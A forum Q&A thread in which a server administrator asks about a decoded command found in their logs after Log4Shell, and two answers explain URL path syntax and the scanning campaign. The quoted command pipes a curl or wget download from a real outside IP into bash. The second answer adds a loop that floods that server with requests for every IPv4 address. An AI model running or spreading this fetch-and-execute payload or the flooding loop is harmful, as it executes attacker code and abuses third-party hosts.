What does it mean when there’s a / in the address on a curl command?

Question

I was looking through my server logs after the recent log4j issues and saw an interesting command which was base64 encoded (decoded version is below):

(curl -s 195.54.160.149:5874/66.228.37.152:80||wget -q -O- 195.54.160.149:5874/66.228.37.152:80)|bash

I was intrigued, since I’d not see a curl command to a host with a / in the server name/ip. What does this mean? I wondered if it were some way of spoofing the source IP which made no sense. Maybe a subnet setting (also makes no sense to me)?

Answer 1

It doesn’t mean anything unusual: the slash separates the host and port from the path.

curl 195.54.160.149:5874/66.228.37.152:80

will connect to port 5874 on 195.54.160.149 and request the resource identified by /66.228.37.152:80 using

GET /66.228.37.152:80 HTTP/1.1

You set something like this up yourself by hosting a file named 66.228.37.152:80 on a web server. What the server actually does with the path depends on what the server’s owner has set up.

Answer 2

You are seeing the Log4Shell vuln out in the wild. Like the others said above, it is alerting the source that they found an exploitable node. The one you've linked in particular is a russian node, the same one that showed up in my logs - I started replying to the same server trying to obscure anything they might find.

for firstoctet in {0..255}; do
  for ip in ${firstoctet}.{0..255}.{0..255}.{0..255}; do 
    curl -s 195.54.160.149:5874/${ip}:80 
  done
done

https://blogs.vmware.com/security/2021/12/investigating-cve-2021-44228-log4shell-vulnerability.html